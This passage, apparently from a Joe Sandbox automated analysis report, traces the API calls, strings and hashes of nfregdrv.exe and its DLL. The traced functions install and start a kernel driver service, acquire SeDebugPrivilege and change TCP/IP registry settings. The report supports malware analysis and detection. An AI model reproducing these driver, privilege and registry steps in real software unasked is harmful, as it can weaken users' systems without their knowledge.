15556->15557 15557->14638 15559 402ba5 15558->15559 15560 403383 ___crtInitCritSecAndSpinCount 61 API calls 15559->15560 15561 402790 15559->15561 15560->15559 15561->14648 15561->14649 15563 4022b3 ___crtInitCritSecAndSpinCount 61 API calls 15562->15563 15564 4017a1 15563->15564 15564->15556 15567 401c42 15565->15567 15566 403969 _parse_cmdline 71 API calls 15566->15567 15567->15566 15569 401caf 15567->15569 15568 401dad 15568->14672 15568->14674 15569->15568 15570 403969 71 API calls _parse_cmdline 15569->15570 15570->15569

                                                                                                                  Executed Functions

                                                                                                                  Function 100134A0 Relevance: 15.1, APIs: 10, Instructions: 58serviceCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 100134BE
                                                                                                                  • OpenServiceA.ADVAPI32(00000000,?,00010000), ref: 100134D1
                                                                                                                  • DeleteService.ADVAPI32(00000000), ref: 100134DE
                                                                                                                  • GetLastError.KERNEL32 ref: 100134E4
                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 100134ED
                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 100134F6
                                                                                                                  • GetLastError.KERNEL32 ref: 100134FE
                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 10013507
                                                                                                                  • GetLastError.KERNEL32 ref: 1001350F
                                                                                                                  • SetLastError.KERNEL32(00000000), ref: 10013518
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Service$ErrorLast$CloseHandle$Open$DeleteManager
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2479149357-0
                                                                                                                  • Opcode ID: 0b951e9cdb1a0b26f3be69c1878f1c2782ce42dc9d03292b26ecafa066a6cc1a
                                                                                                                  • Instruction ID: 46c2e6c5a61eedaf3fef038684788d392a8c372027cf2a0885eba6b60b5d160f
                                                                                                                  • Opcode Fuzzy Hash: 0b951e9cdb1a0b26f3be69c1878f1c2782ce42dc9d03292b26ecafa066a6cc1a
                                                                                                                  • Instruction Fuzzy Hash: 9F01F132641624AFE7126BF49C8DB5E3B68EF49F42F058130FB01DA161DAB1E84086B1
                                                                                                                  Function 10012F40 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66registryCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • __snprintf.LIBCMT ref: 10012F6E
                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000003,?,?,?,?,?), ref: 10012F89
                                                                                                                  • RegQueryValueExA.ADVAPI32(?,Tag,00000000,?,00000001,?), ref: 10012FD4
                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 10012FFA
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseOpenQueryValue__snprintf
                                                                                                                  • String ID: SYSTEM\CurrentControlSet\Services\%s$Tag$Tag
                                                                                                                  • API String ID: 906094135-167878906
                                                                                                                  • Opcode ID: 6f56ef87285fea69d5a8c9f690d12e05e358ab22d85251f7a7e5ed3c1616b0d0
                                                                                                                  • Instruction ID: f9c08eb89e650521aaf22d2235fa5d9325a6f599f2f4c571dbf36a9dd9bf478e
                                                                                                                  • Opcode Fuzzy Hash: 6f56ef87285fea69d5a8c9f690d12e05e358ab22d85251f7a7e5ed3c1616b0d0
                                                                                                                  • Instruction Fuzzy Hash: 33116DB1A04354AFE328CB64CC4AFEB77E8EB89B40F40481CB74D9A180E774D945C7A2
                                                                                                                  Function 10012D70 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 55registryCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000002,SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters,00000000,00000003,?,?,?,10013525,00000000), ref: 10012D86
                                                                                                                  • RegQueryValueExA.KERNELBASE ref: 10012DB9
                                                                                                                  • RegSetValueExA.KERNELBASE(?,DisabledComponents,00000000,00000004,?,00000004,?), ref: 10012DF7
                                                                                                                  • RegCloseKey.KERNELBASE(?), ref: 10012E04
                                                                                                                  Strings
                                                                                                                  • DisabledComponents, xrefs: 10012DAB
                                                                                                                  • SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters, xrefs: 10012D7C
                                                                                                                  • DisabledComponents, xrefs: 10012DF1
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$CloseOpenQuery
                                                                                                                  • String ID: DisabledComponents$DisabledComponents$SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters
                                                                                                                  • API String ID: 237177642-4216016250
                                                                                                                  • Opcode ID: e76360cbcc9baf098a5e93c68d2a24a7b395f91ed9355a7129efde6212d0d687
                                                                                                                  • Instruction ID: 9ee4d2c3e57a7063b565cc8fc060191f73725880ea3dbb34ca1c1c45c67cef35
                                                                                                                  • Opcode Fuzzy Hash: e76360cbcc9baf098a5e93c68d2a24a7b395f91ed9355a7129efde6212d0d687
                                                                                                                  • Instruction Fuzzy Hash: 7911A0B5508312BFE710DB54DD44FAB7BE8EB88B44F41890CF6899A0D0E374C984C756
                                                                                                                  Function 10012D00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • RegOpenKeyExA.KERNELBASE(80000002,SYSTEM\CurrentControlSet\Services\Tcpip\Parameters,00000000,00000002,00000000,00000000,00000000), ref: 10012D15
                                                                                                                  • RegSetValueExA.KERNELBASE(00000000,DisableTaskOffload,00000000,00000004,?,00000004,?), ref: 10012D47
                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 10012D54
                                                                                                                  Strings
                                                                                                                  • SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, xrefs: 10012D0B
                                                                                                                  • DisableTaskOffload, xrefs: 10012D3D
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseOpenValue
                                                                                                                  • String ID: DisableTaskOffload$SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
                                                                                                                  • API String ID: 779948276-1474643600
                                                                                                                  • Opcode ID: b914e9072d492bfd31763df8d8490f62f2f2385f3a95968ca031b7c0720cf9be
                                                                                                                  • Instruction ID: 2230c34db065372bc40d34239641de211e9b25fb5ab268f73dea6e655c247ba9
                                                                                                                  • Opcode Fuzzy Hash: b914e9072d492bfd31763df8d8490f62f2f2385f3a95968ca031b7c0720cf9be
                                                                                                                  • Instruction Fuzzy Hash: BBF0E9716043207FE711EB209C4AF5B37E8AB8CB00F84891CF794DA180E370C958C796
                                                                                                                  Function 00401000 Relevance: 3.8, APIs: 3, Instructions: 36COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 36 401000-401006 37 401008-40100e 36->37 38 40103a-40103e 36->38 39 401010-401013 37->39 39->38 40 401015-401019 39->40 41 401031-401038 CharNextA 40->41 42 40101b 40->42 41->38 41->39 43 401020-401024 42->43 43->41 44 401026-401028 43->44 45 40102a-40102f CharNextA 44->45 46 40103f-401044 CharNextA 44->46 45->41 45->43
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CharNext
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3213498283-0
                                                                                                                  • Opcode ID: 7c522331cf8c48b44b5ec6a2051b80fc459d173407debce357d97d96f401c9b2
                                                                                                                  • Instruction ID: dde81b71a90f9f684eae9ae77c255fe350d7d91c01edff3817fbd5cfc17a4160
                                                                                                                  • Opcode Fuzzy Hash: 7c522331cf8c48b44b5ec6a2051b80fc459d173407debce357d97d96f401c9b2
                                                                                                                  • Instruction Fuzzy Hash: 3BE06522A056E216D732162D28107AB568C4FD57E071A457BE8C0F77A5D639CCC642DD
                                                                                                                  Function 0040285E Relevance: 3.0, APIs: 2, Instructions: 28memoryCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 47 40285e-40287c HeapCreate 48 402881-40288e call 402803 47->48 49 40287e-402880 47->49 52 402890-40289d call 40489e 48->52 53 4028b4-4028b7 48->53 52->53 56 40289f-4028b2 HeapDestroy 52->56 56->49
                                                                                                                  APIs
                                                                                                                  • HeapCreate.KERNELBASE(00000000,00001000,00000000,00401236,00000001), ref: 0040286F
                                                                                                                  • HeapDestroy.KERNEL32 ref: 004028A5
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Heap$CreateDestroy
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3296620671-0
                                                                                                                  • Opcode ID: 6a61f211992a6e18c95607d49fad3f3b072efb0b2f059ec0a30deba2ad50305b
                                                                                                                  • Instruction ID: c9b1d8ae43914fce643a3b0feff7cc958f3d34f8e715b1d91c1e9ab3a3c39313
                                                                                                                  • Opcode Fuzzy Hash: 6a61f211992a6e18c95607d49fad3f3b072efb0b2f059ec0a30deba2ad50305b
                                                                                                                  • Instruction Fuzzy Hash: ABE06576550301DAEB457B715F0DB363594E74074AF10853BF841F51E2FBB88540960D
                                                                                                                  Function 100092CF Relevance: 3.0, APIs: 2, Instructions: 28memoryCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • HeapCreate.KERNELBASE(00000000,00001000,00000000,10008AA9,00000001,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C), ref: 100092E0
                                                                                                                  • HeapDestroy.KERNEL32(?,?,00000001,?,?,10008C27,00000001,?,?,1001B608,0000000C,10008CE1,?), ref: 10009316
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Heap$CreateDestroy
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3296620671-0
                                                                                                                  • Opcode ID: 564c51fca60af66e7a4a00761b05f1ec1e784a5b92eab29dc0ead7a71cea7728
                                                                                                                  • Instruction ID: 0c4cb1e0f78fd55b04bfad504b74cc3b14dfc1a1f94936553e122905dbeb7e21
                                                                                                                  • Opcode Fuzzy Hash: 564c51fca60af66e7a4a00761b05f1ec1e784a5b92eab29dc0ead7a71cea7728
                                                                                                                  • Instruction Fuzzy Hash: 3CE01279654362AEFB41DB308C8976A35E8E7547C6F10C939F415C50B8FBB0C6809A04
                                                                                                                  Function 004014E3 Relevance: 3.0, APIs: 2, Instructions: 5COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 67 4014e3-4014f1 call 4014bd ExitProcess
                                                                                                                  APIs
                                                                                                                  • ___crtCorExitProcess.LIBCMT ref: 004014E7
                                                                                                                    • Part of subcall function 004014BD: GetModuleHandleA.KERNEL32(mscoree.dll,004014EC,?,00405D96,000000FF,0000001E,00000001,00000000,00000000,?,004040D4,?,00000001,?,00402C9C,00000018), ref: 004014C2
                                                                                                                    • Part of subcall function 004014BD: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004014D2
                                                                                                                  • ExitProcess.KERNEL32 ref: 004014F1
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ExitProcess$AddressHandleModuleProc___crt
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2427264223-0
                                                                                                                  • Opcode ID: 6c26d35538560624cb0276524913e3c26102e8c22ac44d2ad5d5b3d3ea4d6717
                                                                                                                  • Instruction ID: 537dee8b853bd8b800ce6c4827e120e5e31ff7b11606db799f1f5586ed61abf1
                                                                                                                  • Opcode Fuzzy Hash: 6c26d35538560624cb0276524913e3c26102e8c22ac44d2ad5d5b3d3ea4d6717
                                                                                                                  • Instruction Fuzzy Hash: EBB01230004100AFC6012B10EF0BC0D7B71EF40744F00C47DF088100708F354C54BE05

                                                                                                                  Non-executed Functions

                                                                                                                  Function 10013540 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 138serviceCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 100135C3
                                                                                                                  • CreateServiceW.ADVAPI32(00000000,?,?,000F01FF,00000001,00000001,00000001,?,PNP_TDI,?,00000000,00000000,00000000), ref: 10013605
                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 1001361B
                                                                                                                  • GetLastError.KERNEL32 ref: 10013625
                                                                                                                  • GetLastError.KERNEL32 ref: 1001363D
                                                                                                                  • OpenServiceA.ADVAPI32(?,?,00000014), ref: 10013655
                                                                                                                  • QueryServiceStatus.ADVAPI32(00000000,?), ref: 10013667
                                                                                                                  • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 1001367D
                                                                                                                  • GetLastError.KERNEL32 ref: 10013689
                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000), ref: 10013692
                                                                                                                  • CloseServiceHandle.ADVAPI32(?), ref: 100136A7
                                                                                                                  • SetLastError.KERNEL32(00000000), ref: 100136B9
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Service$ErrorLast$CloseHandle$Open$CreateManagerQueryStartStatus
                                                                                                                  • String ID: %S\%S.sys$PNP_TDI$system32\drivers\%S.sys
                                                                                                                  • API String ID: 3292902256-1894622794
                                                                                                                  • Opcode ID: 660a23612fc86a23e892aea1473c593627136715394c5b516177490ee6cba120
                                                                                                                  • Instruction ID: 3a4aafa71a6d85f3e9df812c39c39bfa152d82fe410905c2edde1af795798740
                                                                                                                  • Opcode Fuzzy Hash: 660a23612fc86a23e892aea1473c593627136715394c5b516177490ee6cba120
                                                                                                                  • Instruction Fuzzy Hash: 1841E172644310BFE321DB608C89FAB77E9EB89B40F01851CFB859B291DA71E9408766
                                                                                                                  Function 10002060 Relevance: 19.9, APIs: 13, Instructions: 395COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 100020EF
                                                                                                                  • __aullrem.LIBCMT ref: 10002114
                                                                                                                  • GetTickCount.KERNEL32 ref: 1000215A
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10002199
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100021AE
                                                                                                                  • GetTickCount.KERNEL32 ref: 10002256
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10002295
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100022AA
                                                                                                                  • EnterCriticalSection.KERNEL32 ref: 1000239F
                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 100023FE
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10002498
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 100024AD
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10002563
                                                                                                                    • Part of subcall function 10014ED0: EnterCriticalSection.KERNEL32(10020324,?,?,?,?,?,?,?,?,?,1001536D), ref: 10014F3F
                                                                                                                    • Part of subcall function 10014ED0: WriteFile.KERNEL32(FFFFFFFF,?,00000008,00000000,?), ref: 10014F8F
                                                                                                                    • Part of subcall function 10014ED0: GetLastError.KERNEL32 ref: 10014F99
                                                                                                                    • Part of subcall function 10014ED0: LeaveCriticalSection.KERNEL32(10020324), ref: 10014FAB
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Enter$Leave$CountTick$ErrorFileLastWrite__aullrem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2584342812-0
                                                                                                                  • Opcode ID: af9e0746b45dabf02fd2421baf30e015d80efef54aadf8bda24db42c6145cc84
                                                                                                                  • Instruction ID: 27e7611ef1cc4cd64037de96806a1b775dfd5a4704548cb2295c2b271f4c6af1
                                                                                                                  • Opcode Fuzzy Hash: af9e0746b45dabf02fd2421baf30e015d80efef54aadf8bda24db42c6145cc84
                                                                                                                  • Instruction Fuzzy Hash: F8F19A74604742EFE310CF64C984A4AB7F6FF48784F418929E9499BA15E330FD95CBA2
                                                                                                                  Function 100139D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 62COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 100139D4
                                                                                                                  • OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 100139E2
                                                                                                                  • OpenProcessToken.ADVAPI32(00000000,00000020,?), ref: 100139F7
                                                                                                                  • LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 10013A13
                                                                                                                  • CloseHandle.KERNEL32(?), ref: 10013A22
                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10013A25
                                                                                                                  • AdjustTokenPrivileges.ADVAPI32 ref: 10013A5F
                                                                                                                  • CloseHandle.KERNEL32(?), ref: 10013A74
                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10013A77
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle$Process$OpenToken$AdjustCurrentLookupPrivilegePrivilegesValue
                                                                                                                  • String ID: SeDebugPrivilege
                                                                                                                  • API String ID: 2638893802-2896544425
                                                                                                                  • Opcode ID: 419289fe1aa8360b2f1914424ecfbc0142881d51788569709d273a4057b6a3c7
                                                                                                                  • Instruction ID: 0388be8fc12d26e35ffcfca9aa46a7d98fc754c634c7c292c2151c31a72acd32
                                                                                                                  • Opcode Fuzzy Hash: 419289fe1aa8360b2f1914424ecfbc0142881d51788569709d273a4057b6a3c7
                                                                                                                  • Instruction Fuzzy Hash: 58116A75604310AFE201EB68CC89FAF7BE8EFC8754F44841CFA8896291D770E5448BA6
                                                                                                                  Function 100163B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 240COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetLogicalDriveStringsW.KERNEL32(00000104,?,9301D15D,?,?,?,00000000), ref: 1001640D
                                                                                                                  • QueryDosDeviceW.KERNEL32 ref: 1001646C
                                                                                                                  • GetDriveTypeW.KERNEL32(?,?,?,?,?,?), ref: 100165A1
                                                                                                                  • EnterCriticalSection.KERNEL32(10020484), ref: 10016726
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020484), ref: 10016742
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalDriveSection$DeviceEnterLeaveLogicalQueryStringsType
                                                                                                                  • String ID: :
                                                                                                                  • API String ID: 3137785116-336475711
                                                                                                                  • Opcode ID: 309e0b93bcea4dd87cd4e26c409c77e7e666b1aaa0db519f1e08522f54eca9c8
                                                                                                                  • Instruction ID: 05aef7f753930580f9efe3ccf0e9bc9ed64d96a84334a073f7ef42401ff9f03d
                                                                                                                  • Opcode Fuzzy Hash: 309e0b93bcea4dd87cd4e26c409c77e7e666b1aaa0db519f1e08522f54eca9c8
                                                                                                                  • Instruction Fuzzy Hash: ADA15AB15083818BE720CF64CC85B9BB7E5FF88344F448A1EE6898B251D770E688CB53
                                                                                                                  Function 00401050 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48windowCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00401000: CharNextA.USER32 ref: 0040102B
                                                                                                                    • Part of subcall function 00401000: CharNextA.USER32 ref: 00401032
                                                                                                                  • MessageBoxA.USER32(00000000,Usage: nfregdrv.exe <driver_name> - register windows\system32\drivers\<driver_name>.sys nfregdrv.exe -u <driver_name> - unregister windows\system32\drivers\<driver_name>.sys,nfregdvr,00000000), ref: 004010AE
                                                                                                                  • ?nf_registerDriver@nfapi@@YA?AW4_NF_STATUS@@PBD@Z.NFAPI(?), ref: 004010CA
                                                                                                                  • ?nf_unRegisterDriver@nfapi@@YA?AW4_NF_STATUS@@PBD@Z.NFAPI(?), ref: 004010DB
                                                                                                                  Strings
                                                                                                                  • nfregdvr, xrefs: 004010A2
                                                                                                                  • Usage: nfregdrv.exe <driver_name> - register windows\system32\drivers\<driver_name>.sys nfregdrv.exe -u <driver_name> - unregister windows\system32\drivers\<driver_name>.sys, xrefs: 004010A7
